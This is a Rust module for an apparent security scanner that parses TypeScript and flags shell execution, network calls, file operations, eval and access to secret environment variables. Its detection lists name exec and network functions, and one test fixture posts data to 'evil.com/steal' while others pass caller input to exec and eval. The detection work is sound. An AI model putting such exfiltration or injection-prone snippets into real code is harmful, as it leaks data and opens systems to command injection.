1use std::collections::HashSet;
2use std::path::{Path, PathBuf};
3
4use once_cell::sync::Lazy;
5use regex::Regex;
6
7use super::{FunctionParam, LanguageParser, ParsedFile};
8use crate::error::Result;
9use crate::ir::execution_surface::*;
10use crate::ir::{ArgumentSource, Language, SourceLocation};
11
12pub struct TypeScriptParser;
13
14static EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
17 vec![
18 "exec",
19 "execSync",
20 "execFile",
21 "execFileSync",
22 "spawn",
23 "spawnSync",
24 "child_process.exec",
25 "child_process.execSync",
26 "child_process.execFile",
27 "child_process.execFileSync",
28 "child_process.spawn",
29 "child_process.spawnSync",
30 "cp.exec",
31 "cp.execSync",
32 "cp.spawn",
33 "cp.spawnSync",
34 "shelljs.exec",
35 "execa",
36 "execaSync",
37 ]
38});
39
40static NETWORK_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
41 vec![
42 "fetch",
43 "http.get",
44 "http.request",
45 "https.get",
46 "https.request",
47 "axios",
48 "axios.get",
49 "axios.post",
50 "axios.put",
51 "axios.patch",
52 "axios.delete",
53 "axios.request",
54 "got",
55 "got.get",
56 "got.post",
57 "got.put",
58 "got.patch",
59 "got.delete",
60 "request",
61 "request.get",
62 "request.post",
63 "superagent.get",
64 "superagent.post",
65 "undici.fetch",
66 "undici.request",
67 ]
68});
69
70static FILE_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
71 vec![
72 "readFile",
73 "readFileSync",
74 "writeFile",
75 "writeFileSync",
76 "appendFile",
77 "appendFileSync",
78 "unlink",
79 "unlinkSync",
80 "readdir",
81 "readdirSync",
82 "fs.readFile",
83 "fs.readFileSync",
84 "fs.writeFile",
85 "fs.writeFileSync",
86 "fs.appendFile",
87 "fs.appendFileSync",
88 "fs.unlink",
89 "fs.unlinkSync",
90 "fs.readdir",
91 "fs.readdirSync",
92 "fs.promises.readFile",
93 "fs.promises.writeFile",
94 "fs.promises.unlink",
95 "fs.promises.readdir",
96 "Deno.readTextFile",
97 "Deno.writeTextFile",
98 "Deno.readFile",
99 "Deno.writeFile",
100 "Bun.file",
101 ]
102});
103
104static DYNAMIC_EXEC_PATTERNS: Lazy<Vec<&str>> = Lazy::new(|| {
105 vec![
106 "eval",
107 "Function",
108 "vm.runInThisContext",
109 "vm.runInNewContext",
110 ]
111});
112
113static SENSITIVE_ENV_VARS: Lazy<Regex> = Lazy::new(|| {
114 Regex::new(r"(?i)(AWS_|SECRET|TOKEN|PASSWORD|API_KEY|PRIVATE_KEY|CREDENTIALS|AUTH)").unwrap()
115});
116
117static TEMPLATE_LITERAL_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"\$\{[^}]+\}").unwrap());
119
120#[cfg(feature = "typescript")]
123impl LanguageParser for TypeScriptParser {
124 fn language(&self) -> Language {
125 Language::TypeScript
126 }
127
128 fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
129 let mut parser = tree_sitter::Parser::new();
130 let is_tsx = path
131 .extension()
132 .is_some_and(|ext| ext == "tsx" || ext == "jsx");
133
134 let lang = if is_tsx {
135 tree_sitter_typescript::LANGUAGE_TSX
136 } else {
137 tree_sitter_typescript::LANGUAGE_TYPESCRIPT
138 };
139
140 parser
141 .set_language(&lang.into())
142 .map_err(|e| crate::error::ShieldError::Parse {
143 file: path.display().to_string(),
144 message: format!("Failed to load TypeScript grammar: {e}"),
145 })?;
146
147 let tree = parser
148 .parse(content, None)
149 .ok_or_else(|| crate::error::ShieldError::Parse {
150 file: path.display().to_string(),
151 message: "tree-sitter failed to parse TypeScript".into(),
152 })?;
153
154 let file_path = PathBuf::from(path);
155 let source = content.as_bytes();
156 let mut parsed = ParsedFile::default();
157 let mut param_names = HashSet::new();
158
159 collect_params(
161 tree.root_node(),
162 source,
163 &file_path,
164 &mut param_names,
165 &mut parsed,
166 );
167
168 walk_node(
170 tree.root_node(),
171 source,
172 &file_path,
173 ¶m_names,
174 &mut parsed,
175 );
176
177 Ok(parsed)
178 }
179}
180
181#[cfg(feature = "typescript")]
183fn collect_params(
184 node: tree_sitter::Node,
185 source: &[u8],
186 file_path: &Path,
187 param_names: &mut HashSet<String>,
188 parsed: &mut ParsedFile,
189) {
190 let kind = node.kind();
191
192 if kind == "function_declaration"
194 || kind == "function"
195 || kind == "arrow_function"
196 || kind == "method_definition"
197 || kind == "function_expression"
198 {
199 let func_name = extract_function_name(node, source).unwrap_or_default();
200 if let Some(params_node) = node.child_by_field_name("parameters") {
201 for i in 0..params_node.named_child_count() {
202 if let Some(param) = params_node.named_child(i) {
203 for name in extract_param_names(param, source) {
204 if name != "this" {
205 param_names.insert(name.clone());
206 parsed.function_params.push(FunctionParam {
207 function_name: func_name.clone(),
208 param_name: name,
209 location: loc(file_path, param),
210 });
211 }
212 }
213 }
214 }
215 }
216 }
217
218 for i in 0..node.named_child_count() {
220 if let Some(child) = node.named_child(i) {
221 collect_params(child, source, file_path, param_names, parsed);
222 }
223 }
224}
225
226#[cfg(feature = "typescript")]
228fn extract_function_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
229 if let Some(name_node) = node.child_by_field_name("name") {
231 return Some(node_text(name_node, source).to_string());
232 }
233
234 if node.kind() == "arrow_function" || node.kind() == "function_expression" {
237 if let Some(parent) = node.parent() {
238 if parent.kind() == "variable_declarator" {
239 if let Some(name_node) = parent.child_by_field_name("name") {
240 return Some(node_text(name_node, source).to_string());
241 }
242 }
243 }
244 }
245
246 None
247}
248
249#[cfg(feature = "typescript")]
252fn extract_param_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
253 match node.kind() {
254 "required_parameter" | "optional_parameter" => {
256 if let Some(pattern) = node.child_by_field_name("pattern") {
257 if pattern.kind() == "identifier" {
258 return vec![node_text(pattern, source).to_string()];
259 }
260 if pattern.kind() == "object_pattern" {
262 return extract_object_pattern_names(pattern, source);
263 }
264 if pattern.kind() == "array_pattern" {
266 return extract_array_pattern_names(pattern, source);
267 }
268 }
269 vec![]
270 }
271 "rest_pattern" => {
273 for i in 0..node.named_child_count() {
274 if let Some(child) = node.named_child(i) {
275 if child.kind() == "identifier" {
276 return vec![node_text(child, source).to_string()];
277 }
278 }
279 }
280 vec![]
281 }
282 "identifier" => vec![node_text(node, source).to_string()],
284 _ => vec![],
285 }
286}
287
288#[cfg(feature = "typescript")]
290fn extract_object_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
291 let mut names = Vec::new();
292 for i in 0..node.named_child_count() {
293 if let Some(child) = node.named_child(i) {
294 match child.kind() {
295 "shorthand_property_identifier_pattern" => {
297 names.push(node_text(child, source).to_string());
298 }
299 "pair_pattern" => {
301 if let Some(value) = child.child_by_field_name("value") {
302 if value.kind() == "identifier" {
303 names.push(node_text(value, source).to_string());
304 }
305 }
306 }
307 _ => {}
308 }
309 }
310 }
311 names
312}
313
314#[cfg(feature = "typescript")]
316fn extract_array_pattern_names(node: tree_sitter::Node, source: &[u8]) -> Vec<String> {
317 let mut names = Vec::new();
318 for i in 0..node.named_child_count() {
319 if let Some(child) = node.named_child(i) {
320 if child.kind() == "identifier" {
321 names.push(node_text(child, source).to_string());
322 }
323 }
324 }
325 names
326}
327
328#[cfg(feature = "typescript")]
330fn walk_node(
331 node: tree_sitter::Node,
332 source: &[u8],
333 file_path: &Path,
334 param_names: &HashSet<String>,
335 parsed: &mut ParsedFile,
336) {
337 let kind = node.kind();
338
339 if kind == "member_expression" || kind == "subscript_expression" {
341 let text = node_text(node, source);
342 if text.starts_with("process.env") {
343 let var_name = extract_env_var_name(node, source);
344 if let Some(name) = &var_name {
345 let is_sensitive = SENSITIVE_ENV_VARS.is_match(name);
346 parsed.env_accesses.push(EnvAccess {
347 var_name: ArgumentSource::Literal(name.clone()),
348 is_sensitive,
349 location: loc(file_path, node),
350 });
351 }
352 }
353 }
354
355 if kind == "call_expression" {
357 if let Some(func_node) = node.child_by_field_name("function") {
358 let func_name = resolve_call_name(func_node, source);
359
360 let args_text = node
362 .child_by_field_name("arguments")
363 .map(|args| {
364 if args.named_child_count() > 0 {
366 args.named_child(0)
367 .map(|arg| node_text(arg, source).to_string())
368 .unwrap_or_default()
369 } else {
370 String::new()
371 }
372 })
373 .unwrap_or_default();
374
375 let arg_source = classify_argument_text(&args_text, param_names);
376
377 if matches_pattern(&func_name, &EXEC_PATTERNS) {
379 parsed.commands.push(CommandInvocation {
380 function: func_name.clone(),
381 command_arg: arg_source.clone(),
382 location: loc(file_path, node),
383 });
384 }
385
386 if matches_pattern(&func_name, &NETWORK_PATTERNS) {
388 let full_args_text = node
389 .child_by_field_name("arguments")
390 .map(|a| node_text(a, source).to_string())
391 .unwrap_or_default();
392 let sends_data = func_name.contains("post")
393 || func_name.contains("put")
394 || func_name.contains("patch")
395 || full_args_text.contains("body:")
396 || full_args_text.contains("data:");
397 let method = if func_name.contains("get") {
398 Some("GET".into())
399 } else if func_name.contains("post") {
400 Some("POST".into())
401 } else if func_name.contains("put") {
402 Some("PUT".into())
403 } else {
404 None
405 };
406 parsed.network_operations.push(NetworkOperation {
407 function: func_name.clone(),
408 url_arg: arg_source.clone(),
409 method,
410 sends_data,
411 location: loc(file_path, node),
412 });
413 }
414
415 if DYNAMIC_EXEC_PATTERNS.contains(&func_name.as_str()) {
417 parsed.dynamic_exec.push(DynamicExec {
418 function: func_name.clone(),
419 code_arg: arg_source.clone(),
420 location: loc(file_path, node),
421 });
422 }
423
424 if matches_pattern(&func_name, &FILE_PATTERNS) {
426 let op_type = if func_name.contains("write") || func_name.contains("append") {
427 FileOpType::Write
428 } else if func_name.contains("unlink") {
429 FileOpType::Delete
430 } else if func_name.contains("readdir") {
431 FileOpType::List
432 } else {
433 FileOpType::Read
434 };
435 parsed.file_operations.push(FileOperation {
436 operation: op_type,
437 path_arg: arg_source.clone(),
438 location: loc(file_path, node),
439 });
440 }
441 }
442 }
443
444 for i in 0..node.named_child_count() {
446 if let Some(child) = node.named_child(i) {
447 walk_node(child, source, file_path, param_names, parsed);
448 }
449 }
450}
451
452#[cfg(feature = "typescript")]
455fn resolve_call_name(node: tree_sitter::Node, source: &[u8]) -> String {
456 match node.kind() {
457 "identifier" => node_text(node, source).to_string(),
458 "member_expression" | "optional_chain_expression" => {
459 node_text(node, source).replace(['\n', ' '], "").to_string()
461 }
462 _ => node_text(node, source).to_string(),
463 }
464}
465
466#[cfg(feature = "typescript")]
468fn extract_env_var_name(node: tree_sitter::Node, source: &[u8]) -> Option<String> {
469 let text = node_text(node, source);
470 if let Some(rest) = text.strip_prefix("process.env.") {
472 return Some(rest.to_string());
473 }
474 if node.kind() == "subscript_expression" {
476 if let Some(index) = node.child_by_field_name("index") {
477 let idx_text = node_text(index, source);
478 let trimmed = idx_text.trim_matches('"').trim_matches('\'').to_string();
479 if !trimmed.is_empty() {
480 return Some(trimmed);
481 }
482 }
483 }
484 None
485}
486
487#[cfg(feature = "typescript")]
489fn node_text<'a>(node: tree_sitter::Node, source: &'a [u8]) -> &'a str {
490 node.utf8_text(source).unwrap_or("")
491}
492
493#[cfg(feature = "typescript")]
495fn loc(file: &Path, node: tree_sitter::Node) -> SourceLocation {
496 let start = node.start_position();
497 let end = node.end_position();
498 SourceLocation {
499 file: file.to_path_buf(),
500 line: start.row + 1,
501 column: start.column,
502 end_line: Some(end.row + 1),
503 end_column: Some(end.column),
504 }
505}
506
507#[cfg(not(feature = "typescript"))]
510static CALL_RE: Lazy<Regex> =
511 Lazy::new(|| Regex::new(r"(?m)(\w+(?:\.\w+)*)\s*\(([^)]*)\)").unwrap());
512
513#[cfg(not(feature = "typescript"))]
514static ENV_ACCESS_RE: Lazy<Regex> = Lazy::new(|| {
515 Regex::new(r#"(?m)process\.env\s*(?:\[\s*["']([^"']+)["']\s*\]|\.([A-Z_][A-Z0-9_]*))"#).unwrap()
516});
517
518#[cfg(not(feature = "typescript"))]
519static FUNC_DEF_RE: Lazy<Regex> = Lazy::new(|| {
520 Regex::new(
521 r"(?m)(?:(?:export\s+)?(?:async\s+)?function\s+(\w+)\s*\(([^)]*)\)|(?:const|let|var)\s+(\w+)\s*=\s*(?:async\s+)?\(([^)]*)\)\s*(?:=>|:\s*\w+\s*=>)|(\w+)\s*\(([^)]*)\)\s*(?::\s*\w+\s*)?\{)"
522 ).unwrap()
523});
524
525#[cfg(not(feature = "typescript"))]
526impl LanguageParser for TypeScriptParser {
527 fn language(&self) -> Language {
528 Language::TypeScript
529 }
530
531 fn parse_file(&self, path: &Path, content: &str) -> Result<ParsedFile> {
532 let mut parsed = ParsedFile::default();
533 let file_path = PathBuf::from(path);
534 let mut param_names = HashSet::new();
535
536 for cap in FUNC_DEF_RE.captures_iter(content) {
538 let params_str = cap
539 .get(2)
540 .or_else(|| cap.get(4))
541 .or_else(|| cap.get(6))
542 .map(|m| m.as_str())
543 .unwrap_or("");
544 let func_name = cap
545 .get(1)
546 .or_else(|| cap.get(3))
547 .or_else(|| cap.get(5))
548 .map(|m| m.as_str())
549 .unwrap_or("");
550
551 for param in params_str.split(',') {
552 let param = param.trim();
553 if param.starts_with('{') || param.starts_with('[') {
554 continue;
555 }
556 let param = param.split(':').next().unwrap_or("").trim();
557 let param = param.split('=').next().unwrap_or("").trim();
558 let param = param.trim_start_matches("...");
559 let param = param.trim_end_matches('?');
560 if !param.is_empty() && param != "this" {
561 param_names.insert(param.to_string());
562 parsed.function_params.push(FunctionParam {
563 function_name: func_name.to_string(),
564 param_name: param.to_string(),
565 location: regex_loc(&file_path, 0),
566 });
567 }
568 }
569 }
570
571 for (line_idx, line) in content.lines().enumerate() {
573 let line_num = line_idx + 1;
574 let trimmed = line.trim();
575
576 if trimmed.starts_with("//") || trimmed.starts_with('*') || trimmed.starts_with("/*") {
577 continue;
578 }
579
580 for cap in ENV_ACCESS_RE.captures_iter(line) {
581 let var_name = cap
582 .get(1)
583 .or_else(|| cap.get(2))
584 .map(|m| m.as_str().to_string())
585 .unwrap_or_default();
586 let is_sensitive = SENSITIVE_ENV_VARS.is_match(&var_name);
587 parsed.env_accesses.push(EnvAccess {
588 var_name: ArgumentSource::Literal(var_name),
589 is_sensitive,
590 location: regex_loc(&file_path, line_num),
591 });
592 }
593
594 for cap in CALL_RE.captures_iter(line) {
595 let func_name = &cap[1];
596 let args_str = &cap[2];
597 let arg_source = classify_argument_text(args_str, ¶m_names);
598
599 if matches_pattern(func_name, &EXEC_PATTERNS) {
600 parsed.commands.push(CommandInvocation {
601 function: func_name.to_string(),
602 command_arg: arg_source.clone(),
603 location: regex_loc(&file_path, line_num),
604 });
605 }
606
607 if matches_pattern(func_name, &NETWORK_PATTERNS) {
608 let sends_data = func_name.contains("post")
609 || func_name.contains("put")
610 || func_name.contains("patch")
611 || args_str.contains("body:")
612 || args_str.contains("data:");
613 let method = if func_name.contains("get") {
614 Some("GET".into())
615 } else if func_name.contains("post") {
616 Some("POST".into())
617 } else if func_name.contains("put") {
618 Some("PUT".into())
619 } else {
620 None
621 };
622 parsed.network_operations.push(NetworkOperation {
623 function: func_name.to_string(),
624 url_arg: arg_source.clone(),
625 method,
626 sends_data,
627 location: regex_loc(&file_path, line_num),
628 });
629 }
630
631 if DYNAMIC_EXEC_PATTERNS.contains(&func_name) {
632 parsed.dynamic_exec.push(DynamicExec {
633 function: func_name.to_string(),
634 code_arg: arg_source.clone(),
635 location: regex_loc(&file_path, line_num),
636 });
637 }
638
639 if matches_pattern(func_name, &FILE_PATTERNS) {
640 let op_type = if func_name.contains("write") || func_name.contains("append") {
641 FileOpType::Write
642 } else if func_name.contains("unlink") {
643 FileOpType::Delete
644 } else if func_name.contains("readdir") {
645 FileOpType::List
646 } else {
647 FileOpType::Read
648 };
649 parsed.file_operations.push(FileOperation {
650 operation: op_type,
651 path_arg: arg_source.clone(),
652 location: regex_loc(&file_path, line_num),
653 });
654 }
655 }
656 }
657
658 Ok(parsed)
659 }
660}
661
662#[cfg(not(feature = "typescript"))]
663fn regex_loc(file: &Path, line: usize) -> SourceLocation {
664 SourceLocation {
665 file: file.to_path_buf(),
666 line,
667 column: 0,
668 end_line: None,
669 end_column: None,
670 }
671}
672
673fn matches_pattern(func_name: &str, patterns: &[&str]) -> bool {
677 patterns
678 .iter()
679 .any(|p| func_name == *p || func_name.ends_with(p))
680}
681
682fn classify_argument_text(arg_text: &str, param_names: &HashSet<String>) -> ArgumentSource {
684 let first_arg = arg_text.split(',').next().unwrap_or("").trim();
685
686 if first_arg.is_empty() {
687 return ArgumentSource::Unknown;
688 }
689
690 if (first_arg.starts_with('"') && first_arg.ends_with('"'))
692 || (first_arg.starts_with('\'') && first_arg.ends_with('\''))
693 {
694 let val = &first_arg[1..first_arg.len() - 1];
695 return ArgumentSource::Literal(val.to_string());
696 }
697
698 if first_arg.starts_with('`') {
700 if TEMPLATE_LITERAL_RE.is_match(first_arg) {
701 return ArgumentSource::Interpolated;
702 }
703 let val = first_arg.trim_matches('`');
704 return ArgumentSource::Literal(val.to_string());
705 }
706
707 if first_arg.contains('+') && (first_arg.contains('"') || first_arg.contains('\'')) {
709 return ArgumentSource::Interpolated;
710 }
711
712 if first_arg.contains("process.env") {
714 return ArgumentSource::EnvVar {
715 name: first_arg.to_string(),
716 };
717 }
718
719 let ident = first_arg.split('.').next().unwrap_or(first_arg);
721 let ident = ident.split('[').next().unwrap_or(ident);
722 if param_names.contains(ident) {
723 return ArgumentSource::Parameter {
724 name: ident.to_string(),
725 };
726 }
727
728 ArgumentSource::Unknown
729}
730
731#[cfg(test)]
732mod tests {
733 use super::*;
734
735 #[test]
736 fn detects_exec_with_param() {
737 let code = r#"
738import { exec } from "child_process";
739
740function runCommand(command: string) {
741 exec(command);
742}
743"#;
744 let parsed = TypeScriptParser
745 .parse_file(Path::new("test.ts"), code)
746 .unwrap();
747 assert_eq!(parsed.commands.len(), 1);
748 assert!(matches!(
749 parsed.commands[0].command_arg,
750 ArgumentSource::Parameter { .. }
751 ));
752 }
753
754 #[test]
755 fn detects_spawn_with_interpolation() {
756 let code = r#"
757function run(cmd: string) {
758 exec(`${cmd} --flag`);
759}
760"#;
761 let parsed = TypeScriptParser
762 .parse_file(Path::new("test.ts"), code)
763 .unwrap();
764 assert_eq!(parsed.commands.len(), 1);
765 assert!(matches!(
766 parsed.commands[0].command_arg,
767 ArgumentSource::Interpolated
768 ));
769 }
770
771 #[test]
772 fn detects_fetch_with_param() {
773 let code = r#"
774async function fetchUrl(url: string) {
775 const resp = await fetch(url);
776 return resp.json();
777}
778"#;
779 let parsed = TypeScriptParser
780 .parse_file(Path::new("test.ts"), code)
781 .unwrap();
782 assert_eq!(parsed.network_operations.len(), 1);
783 assert!(matches!(
784 parsed.network_operations[0].url_arg,
785 ArgumentSource::Parameter { .. }
786 ));
787 }
788
789 #[test]
790 fn safe_literal_url_not_flagged() {
791 let code = r#"
792async function getHealth() {
793 const resp = await fetch("https://api.example.com/health");
794 return resp.json();
795}
796"#;
797 let parsed = TypeScriptParser
798 .parse_file(Path::new("test.ts"), code)
799 .unwrap();
800 assert_eq!(parsed.network_operations.len(), 1);
801 assert!(matches!(
802 parsed.network_operations[0].url_arg,
803 ArgumentSource::Literal(_)
804 ));
805 }
806
807 #[test]
808 fn detects_env_var_access() {
809 let code = r#"
810const apiKey = process.env["OPENAI_API_KEY"];
811const secret = process.env.AWS_SECRET_ACCESS_KEY;
812"#;
813 let parsed = TypeScriptParser
814 .parse_file(Path::new("test.ts"), code)
815 .unwrap();
816 assert_eq!(parsed.env_accesses.len(), 2);
817 assert!(parsed.env_accesses[0].is_sensitive);
818 assert!(parsed.env_accesses[1].is_sensitive);
819 }
820
821 #[test]
822 fn detects_eval() {
823 let code = r#"
824function execute(code: string) {
825 eval(code);
826}
827"#;
828 let parsed = TypeScriptParser
829 .parse_file(Path::new("test.ts"), code)
830 .unwrap();
831 assert_eq!(parsed.dynamic_exec.len(), 1);
832 assert!(matches!(
833 parsed.dynamic_exec[0].code_arg,
834 ArgumentSource::Parameter { .. }
835 ));
836 }
837
838 #[test]
839 fn detects_file_operations() {
840 let code = r#"
841import fs from "fs";
842
843function readConfig(path: string) {
844 return fs.readFileSync(path, "utf-8");
845}
846"#;
847 let parsed = TypeScriptParser
848 .parse_file(Path::new("test.ts"), code)
849 .unwrap();
850 assert_eq!(parsed.file_operations.len(), 1);
851 assert!(matches!(
852 parsed.file_operations[0].path_arg,
853 ArgumentSource::Parameter { .. }
854 ));
855 }
856
857 #[test]
858 fn detects_arrow_function_params() {
859 let code = r#"
860const handler = async (url: string) => {
861 const resp = await fetch(url);
862 return resp.text();
863};
864"#;
865 let parsed = TypeScriptParser
866 .parse_file(Path::new("test.ts"), code)
867 .unwrap();
868 assert_eq!(parsed.network_operations.len(), 1);
869 assert!(matches!(
870 parsed.network_operations[0].url_arg,
871 ArgumentSource::Parameter { .. }
872 ));
873 }
874
875 #[test]
876 fn detects_axios_post() {
877 let code = r#"
878async function exfiltrate(data: string) {
879 await axios.post("https://evil.com/steal", { body: data });
880}
881"#;
882 let parsed = TypeScriptParser
883 .parse_file(Path::new("test.ts"), code)
884 .unwrap();
885 assert_eq!(parsed.network_operations.len(), 1);
886 assert!(parsed.network_operations[0].sends_data);
887 }
888
889 #[cfg(feature = "typescript")]
892 #[test]
893 fn detects_multiline_exec_call() {
894 let code = r#"
895function runCommand(command: string) {
896 exec(
897 command,
898 { encoding: "utf-8" }
899 );
900}
901"#;
902 let parsed = TypeScriptParser
903 .parse_file(Path::new("test.ts"), code)
904 .unwrap();
905 assert_eq!(parsed.commands.len(), 1);
906 assert!(matches!(
907 parsed.commands[0].command_arg,
908 ArgumentSource::Parameter { .. }
909 ));
910 }
911
912 #[cfg(feature = "typescript")]
913 #[test]
914 fn detects_multiline_fetch() {
915 let code = r#"
916async function sendData(url: string) {
917 const resp = await fetch(
918 url,
919 {
920 method: "POST",
921 body: JSON.stringify({ key: "value" }),
922 }
923 );
924 return resp.json();
925}
926"#;
927 let parsed = TypeScriptParser
928 .parse_file(Path::new("test.ts"), code)
929 .unwrap();
930 assert_eq!(parsed.network_operations.len(), 1);
931 assert!(matches!(
932 parsed.network_operations[0].url_arg,
933 ArgumentSource::Parameter { .. }
934 ));
935 }
936
937 #[cfg(feature = "typescript")]
938 #[test]
939 fn detects_nested_callback_exec() {
940 let code = r#"
941function runCommand(command: string): Promise<string> {
942 return new Promise((resolve, reject) => {
943 exec(command, (error, stdout) => {
944 if (error) reject(error);
945 resolve(stdout);
946 });
947 });
948}
949"#;
950 let parsed = TypeScriptParser
951 .parse_file(Path::new("test.ts"), code)
952 .unwrap();
953 assert_eq!(parsed.commands.len(), 1);
954 assert!(matches!(
955 parsed.commands[0].command_arg,
956 ArgumentSource::Parameter { .. }
957 ));
958 }
959
960 #[cfg(feature = "typescript")]
961 #[test]
962 fn accurate_line_numbers() {
963 let code = r#"
964// line 2
965// line 3
966function dangerous(cmd: string) {
967 exec(cmd);
968}
969"#;
970 let parsed = TypeScriptParser
971 .parse_file(Path::new("test.ts"), code)
972 .unwrap();
973 assert_eq!(parsed.commands.len(), 1);
974 assert_eq!(parsed.commands[0].location.line, 5);
976 }
977
978 #[cfg(feature = "typescript")]
979 #[test]
980 fn handles_tsx_file() {
981 let code = r#"
982import React from "react";
983
984const Component = ({ url }: { url: string }) => {
985 const data = fetch(url);
986 return <div>{data}</div>;
987};
988"#;
989 let parsed = TypeScriptParser
990 .parse_file(Path::new("component.tsx"), code)
991 .unwrap();
992 assert_eq!(parsed.network_operations.len(), 1);
993 assert!(matches!(
994 parsed.network_operations[0].url_arg,
995 ArgumentSource::Parameter { .. }
996 ));
997 }
998}